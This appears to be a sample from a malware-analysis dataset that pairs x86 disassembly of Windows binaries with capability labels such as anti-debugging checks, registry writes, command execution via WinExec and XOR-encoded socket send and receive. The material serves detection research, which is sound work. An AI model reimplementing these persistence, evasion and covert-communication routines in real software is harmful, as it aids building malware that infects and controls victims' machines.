joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4046cc
Capabilities:
Copy file
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
xor ebx, ebx
push edi
mov byte [ebp - 1], bl
call fcn.00402c81
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00402f49
mov dword [ebp - 0x10], eax
call fcn.00402e30
mov dword [ebp - 8], eax
call fcn.00402d1c
push str.svchost.exe
push dword [ebp - 0x10]
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
jne 0x404711
mov byte [ebp - 1], 1
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GlobalFree]
call edi
push ebx
mov eax, esi
push 1
lea esi, [ebp - 0x20]
call fcn.0040195a
cmp eax, 0xffffffff
je 0x40477f
push 1
push dword [ebp - 8]
mov ebx, esi
call fcn.00401e64
call fcn.00402cd5
push 0
push eax
mov dword [ebp - 0xc], eax
call fcn.00401e64
call fcn.00401af4
mov eax, dword [ebp - 8]
push 0
push 0
call fcn.0040195a
cmp eax, 0xffffffff
je 0x404774
mov eax, dword [ebp - 0xc]
call fcn.00401dec
call fcn.00401af4
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
xor ebx, ebx
push dword [ebp - 8]
call edi
push dword [ebp - 0x18]
call edi
push dword [ebp - 0x10]
call edi
cmp byte [ebp - 1], bl
je 0x4047db
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push 0x404596
push ebx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0xe6
call edi
lea eax, [ebp - 0x14]
push eax
push ebx
push 1
push 0x404596
push ebx
push ebx
call esi
push 0xe6
call edi
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push 0x404559
push ebx
push ebx
call esi
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40480f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push edi
push 0x10
push 0x40
call esi
push 1
push 0x40
mov dword [ebp - 8], eax
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer
mov ebx, connect
push ebx
call edi
test eax, eax
jne 0x4048d7
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
push str.Data
lea eax, [ebp - 4]
push eax
call fcn.00403a6c
mov cx, word [eax]
cmp cx, word [ebp - 0x18]
mov dword [ebp - 8], eax
jb 0x404887
mov cx, word [eax + 2]
cmp cx, word [ebp - 0x16]
jb 0x404887
mov cx, word [eax + 6]
cmp cx, word [ebp - 0x12]
jae 0x4048da
push 1
push 0x40
call esi
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer
push ebx
call edi
test eax, eax
jne 0x4048b8
push 0x10
lea eax, [ebp - 0x18]
push eax
push 3
push 0
push str.Data
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call fcn.0040244a
push 1
call fcn.004025ec
pop ecx
lea eax, [ebp - 8]
push eax
call fcn.00403625
lea eax, [ebp - 8]
push eax
call fcn.00403954
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404aa8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
cmp word [ebp - 0x26], 3
jbe 0x404acd
push dword [ebp + 8]
call fcn.0040492b
pop ecx
jmp 0x404c26
call fcn.004048e6
push 2
mov dword [ebp + 8], eax
call fcn.0040450c
test eax, eax
pop ecx
jne 0x404c26
push ebx
push esi
push edi
push str.MAINTHREAD
push 1
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esi, eax
call fcn.00402d1c
mov ebx, eax
call fcn.004046cc
test eax, eax
je 0x404b51
call fcn.00402e6d
test al, al
jne 0x404b18
call fcn.004047e4
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x4e20
jmp 0x404b3c
push edi
call fcn.004025ec
call fcn.0040480f
call fcn.004029fc
mov dword [esp], 0x257cd5
call esi
call fcn.004045d2
call fcn.004025ac
test eax, eax
je 0x404b25
jmp 0x404c23
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
call fcn.0040337d
cmp dword [ebp + 8], edi
pop ecx
je 0x404c23
push 0x406aaa
push str.mpegfile_shellopencommand
push connect
lea eax, [ebp - 0x10]
call fcn.00403aaf
mov dword [ebp - 4], eax
call fcn.00402cd5
push 1
push edi
lea esi, [ebp - 0x18]
mov dword [ebp - 8], eax
call fcn.0040195a
mov edi, dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push 2
push 0x40
call edi
lea esi, [ebp - 0xc]
mov ebx, eax
call fcn.00402c1e
mov dword [ebp + 8], 0xd05
push 0xff
lea esi, [ebp - 0xc]
call fcn.00402c30
push 1
mov byte [ebx], al
push ebx
lea eax, [ebp - 0x18]
push eax
call fcn.00401a2c
dec dword [ebp + 8]
jne 0x404bbd
lea esi, [ebp - 0x18]
call fcn.00401af4
push 0x20b
push 0x40
call edi
cmp dword [ebp - 4], 0
push dword [ebp - 8]
mov esi, eax
je 0x404c0c
push dword [ebp - 4]
push str._s__s
push esi
call fcn.004057f4
add esp, 0x10
jmp 0x404c1a
push str.notepad.exe__s
push esi
call fcn.004057f4
add esp, 0xc
push 5
push esi
call dword [sym.imp.KERNEL32.DLL_WinExec]
pop edi
pop esi
pop ebx
xor eax, eax
leave
ret 0x10
Function at 0x404c2c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
push esi
mov esi, edx
jne 0x404c37
xor eax, eax
pop esi
ret
cmp eax, 8
push ebx
not esi
mov edx, 0xff
jl 0x404cf5
push edi
mov edi, eax
shr edi, 3
mov ebx, edi
neg ebx
lea eax, [eax + ebx*8]
xor ebx, ebx
mov bl, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x4086d0]
xor ebx, ebx
inc ecx
mov bl, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x4086d0]
xor ebx, ebx
inc ecx
mov bl, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x4086d0]
xor ebx, ebx
inc ecx
mov bl, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x4086d0]
xor ebx, ebx
inc ecx
mov bl, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x4086d0]
xor ebx, ebx
inc ecx
mov bl, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x4086d0]
xor ebx, ebx
inc ecx
mov bl, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x4086d0]
xor ebx, ebx
inc ecx
mov bl, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x4086d0]
inc ecx
dec edi
jne 0x404c55
pop edi
test eax, eax
je 0x404d0f
xor ebx, ebx
mov bl, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x4086d0]
inc ecx
dec eax
jne 0x404cf9
mov eax, esi
pop ebx
not eax
pop esi
ret
Function at 0x405292
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [eax], 0xfffff000
jne 0x4052a7
mov dl, byte [eax + 5]
cmp dl, 0xe8
je 0x4052ac
cmp dl, 0xcc
je 0x4052ac
dec eax
dec ecx
jne fcn.00405292
ret
add eax, 0xa
add eax, dword [eax - 4]
ret

Function at 0x40558b
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
mov ebx, edx
sub ecx, ecx
push 6
pop edx
mov eax, dword fs:[ecx + 0x30]
cmp byte [ebx + 2], cl
jne 0x4055a5
dec edx
mov dword [eax], edx
mov byte [eax], dl
xor eax, dword [ebx + 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
test eax, eax
je 0x405622
push eax
push dword [ebx + 0x30]
call dword [ebx + 0x10]
push dword [ebp + 0x10]
call dword [ebx + 8]
test eax, eax
sete byte [ebp - 1]
pop eax
je 0x405605
sub ecx, ecx
cmp byte [ebx + 2], cl
mov edx, dword fs:[ecx + 0x30]
push eax
je 0x4055e0
shr eax, 2
inc eax
shl eax, 3
add eax, dword [edx + 0x44]
mov ecx, dword [ebp + 0x10]
xor ecx, dword [ebx + 4]
mov dword [eax], ecx
cmp byte [ecx], 7
pop eax
jae 0x4055fd
inc dword [ecx + 4]
dec dword [edx + 4]
jmp 0x405605
inc word [ecx + 2]
dec word [edx + 2]
push eax
push dword [ebx + 0x30]
call dword [ebx + 0x18]
pop eax
cmp byte [ebp - 1], 0
je 0x405622
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x57
pop ecx
call fcn.0040551b
pop ebx
leave
ret 0xc

Function at 0x405808
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x405831
cmp al, 0x22
je 0x405829
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x40581d
cmp byte [esi], 0x22
jne 0x40583b
inc esi
jmp 0x40583b
cmp al, 0x20
jle 0x40583b
inc esi
cmp byte [esi], 0x20
jg 0x405835
mov al, byte [esi]
test al, al
je 0x405845
cmp al, 0x20
jle 0x40582e
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
call fcn.004058b3
push 0x40a004
push section..data
call fcn.00405899
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x405875
movzx eax, word [ebp - 0x14]
jmp 0x405878
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.004058cb
push esi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x10001230
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x10011538
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCR100.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x10001262
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call dword [sym.imp.MSVCR100.dll_malloc]
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x10001290
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
test eax, eax
je 0x100012f3
push ebx
lea ebx, [ebx]
mov ecx, eax
mov edx, edi
test eax, eax
je 0x100012d9
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x100012b8
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
test eax, eax
jne 0x100012b0
pop ebx
push edi
call dword [sym.imp.MSVCR100.dll_free]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x10001360
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x10017018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10001399
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000e712
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x1001734c], eax
cmp eax, 0xffffffff
je 0x10001389
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [0x10017350], eax
test eax, eax
je 0x10001389
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x1011735c], 0x10002160
mov al, 1
call fcn.1000e712
mov esp, ebp
pop ebp
ret
Function at 0x100013e0
Capabilities:
Connect socket
Create thread
Encode data using xor
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10017018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x1001734c], 0xffffffff
push esi
mov esi, ecx
jne 0x10001453
push 0x100
push 0
push 0x10122170
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
mov cl, byte [eax + 0x10011660]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10122170], cl
inc eax
cmp eax, 0x100
jb 0x10001412
push 0x10122170
push 0
mov ecx, 0x101174f8
call fcn.10005220
add esp, 8
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000e712
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp + 8]
mov edx, 2
push eax
mov word [ebp - 0x18], dx
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x1000149b
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1000149b
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
push ecx
push eax
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
mov eax, dword [0x1001734c]
push 0x10
lea edx, [ebp - 0x18]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0xffffffff
jne 0x100014fb
call esi
cmp eax, 0x2733
je 0x100014fb
call esi
push eax
mov eax, 2
call fcn.1000ba10
push eax
push 0
mov ecx, 0x101174f8
call fcn.10005220
add esp, 0xc
mov esi, 0x10017348
call fcn.100015a0
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000e712
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [0x10017350]
mov edx, dword [0x1001734c]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10001520
call esi
push eax
mov eax, 3
jmp 0x100014c9
push 0x80000
push 0
push 0x10017354
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x80000
push 0
push 0x10097358
mov dword [0x10097354], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x10121e2c
push 0
push 0x10017348
push 0x10001b30
push 0
push 0
mov dword [0x10117358], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 8]
mov dword [0x1011737c], eax
xor ecx, ebp
mov byte [0x10117380], 1
mov al, 1
pop esi
call fcn.1000e712
mov esp, ebp
pop ebp
ret 4

Function at 0x100015a0
Capabilities:
Terminate thread

Disassembly:
push ebx
xor ebx, ebx
cmp dword [esi + 0x100034], ebx
je 0x100015d6
mov dword [0x10121e2c], 0xffffffff
mov eax, dword [esi + 0x100034]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x100034]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x100034], ebx
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x100015ec
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x100015fd
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], ebx
mov byte [esi + 0x100038], bl
pop ebx
ret
Function at 0x10001630
Capabilities:
Encode data using xor
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, eax
mov eax, dword [esi + 0x8000c]
xor edi, edi
push edi
mov ecx, 0x80000
sub ecx, eax
push ecx
lea edx, [eax + esi + 0xc]
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x100016b7
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2733
je 0x100017e5
push 0x100
push 0
push 0x10122170
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10011960]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10122170], cl
inc eax
cmp eax, 0x100
jb 0x10001690
call edi
push eax
push 0x10122170
jmp 0x10001830
add dword [esi + 0x8000c], eax
mov eax, dword [esi + 0x8000c]
cmp eax, 4
jl 0x100017e5
lea esp, [esp]
mov al, byte [esi + edi + 0xc]
lea edx, [esi + 0xc]
cmp al, 0xc1
jne 0x100016e6
movzx ebx, byte [edi + esi + 0xd]
mov cl, byte [edi + esi + 0xf]
jmp 0x10001705
cmp al, 0xc2
jne 0x1000181f
movzx ecx, byte [edi + esi + 0xd]
shl cx, 8
movzx ebx, cx
movzx ecx, byte [edi + esi + 0xe]
or ebx, ecx
mov cl, byte [edi + esi + 0x10]
cmp ebx, 4
jl 0x100017ee
cmp ebx, 0x80000
jg 0x100017ee
cmp ebx, dword [esi + 0x8000c]
jg 0x100017bc
cmp al, 0xc1
jne 0x10001758
mov dl, byte [edi + esi + 0xe]
mov byte [ebp - 4], dl
lea edx, [ebx - 3]
xor eax, eax
lea ecx, [edi + esi + 0xf]
test edx, edx
jle 0x10001784
mov dl, byte [ecx + eax]
add dl, byte [ebp - 4]
lea ecx, [edi + esi + 0xf]
xor dl, 0xa0
mov byte [ecx + eax], dl
inc eax
lea edx, [ebx - 3]
cmp eax, edx
jl 0x1000173e
jmp 0x10001784
mov cl, byte [edi + esi + 0xf]
lea edx, [ebx - 4]
xor eax, eax
mov byte [ebp - 4], cl
lea ecx, [edi + esi + 0x10]
test edx, edx
jle 0x10001784
mov dl, byte [ecx + eax]
add dl, byte [ebp - 4]
lea ecx, [edi + esi + 0x10]
xor dl, 0xa0
mov byte [ecx + eax], dl
inc eax
lea edx, [ebx - 4]
cmp eax, edx
jl 0x1000176c
mov al, byte [ecx]
mov edx, dword [esi + 0x100014]
mov byte [ebp - 8], al
mov ecx, dword [ebp - 8]
push ebx
lea eax, [esi + edi + 0xc]
push eax
push ecx
call edx
sub dword [esi + 0x8000c], ebx
add esp, 0xc
add edi, ebx
cmp dword [esi + 0x8000c], 0
jg 0x100016d0
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jle 0x100017e5
mov eax, dword [esi + 0x8000c]
test eax, eax
jle 0x100017e5
mov ecx, 0x80000
sub ecx, edi
cmp eax, ecx
jg 0x100017e5
push eax
lea eax, [edi + esi + 0xc]
push eax
push edx
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx ecx, cl
push ecx
movzx edx, al
push ebx
push edx
mov eax, 6
call fcn.1000ba10
push eax
push 0
mov ecx, 0x101174f8
call fcn.10005220
add esp, 0x14
call fcn.100015a0
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, byte [edi + esi + 0xc]
push eax
mov eax, 5
call fcn.1000ba10
push eax
push 0
mov ecx, 0x101174f8
call fcn.10005220
add esp, 0xc
call fcn.100015a0
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001850
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.1000f0c0
mov eax, dword [0x10017018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x10117364
mov esi, ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x1001734c], 0xffffffff
je 0x10001945
cmp byte [0x10117380], 0
je 0x10001945
push esi
lea eax, [ebp - 0x80008]
push edi
push eax
call sub.MSVCR100.dll_memcpy
add esp, 0xc
xor eax, eax
cmp byte [ebp - 0x80008], 0xc1
jne 0x100018da
mov cl, byte [ebp - 0x80006]
lea edi, [esi - 3]
test edi, edi
jle 0x10001908
lea esp, [esp]
mov dl, byte [ebp + eax - 0x80005]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80005], dl
inc eax
cmp eax, edi
jl 0x100018c0
jmp 0x10001908
mov cl, byte [ebp - 0x80005]
lea edi, [esi - 4]
test edi, edi
jle 0x10001908
jmp 0x100018f0
mov dl, byte [ebp + eax - 0x80004]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80004], dl
inc eax
cmp eax, edi
jl 0x100018f0
mov eax, dword [0x10117358]
test eax, eax
jle 0x1000199e
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x10001963
mov eax, 7
push ecx
call fcn.1000ba10
push eax
push 0
mov ecx, 0x101174f8
call fcn.10005220
add esp, 0xc
mov esi, 0x10017348
call fcn.100015a0
push 0x10117364
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000e712
mov esp, ebp
pop ebp
ret
push esi
lea ecx, [ebp - 0x80008]
push ecx
lea edx, [eax + 0x10097358]
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
add dword [0x10117358], esi
push 0x10117364
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.1000e712
mov esp, ebp
pop ebp
ret
xor edi, edi
test esi, esi
jle 0x10001980
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [0x1001734c]
push 0
push esi
lea eax, [ebp + edi - 0x80008]
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x100019cd
sub esi, eax
add edi, eax
test esi, esi
jg 0x100019aa
jmp 0x10001980
mov ebx, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call ebx
cmp eax, 0x2733
jne 0x10001a0b
mov eax, dword [0x10117358]
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x100019f6
mov eax, 8
jmp 0x10001925
push esi
lea edx, [ebp + edi - 0x80008]
push edx
lea eax, [eax + 0x10097358]
push eax
jmp 0x10001972
call ebx
push eax
mov eax, 9
jmp 0x10001926
Function at 0x10001a20
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
lea ebx, [esi + 0x10001c]
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10001a79
lea ebx, [esi + 0x80010]
mov eax, dword [esi + 0x100010]
mov edx, dword [esi + 4]
push 0
push eax
lea ecx, [ebx + edi]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10001a89
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
jg 0x10001a49
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10001ac2
mov eax, dword [esi + 0x100010]
push eax
lea ecx, [edi + esi + 0x80010]
push ecx
push ebx
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x100
push 0
push 0x10122170
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x10001ae0
mov cl, byte [eax + 0x10011f60]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10122170], cl
inc eax
cmp eax, 0x100
jb 0x10001ae0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x10122170
push 0
mov ecx, 0x101174f8
call fcn.10005220
add esp, 0xc
call fcn.100015a0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001e90
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
push 0x20
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001ef0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 8], eax
mov eax, dword [esi + 4]
test eax, eax
je 0x10001ed6
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [esi + 4], 0
mov ecx, dword [esi + 8]
push ecx
call fcn.1000e700
add esp, 4
mov dword [esi + 4], eax
test eax, eax
jne 0x10001ef7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 8]
push 0
lea edx, [ebp - 4]
push edx
push ecx
push eax
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
je 0x10001eea
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret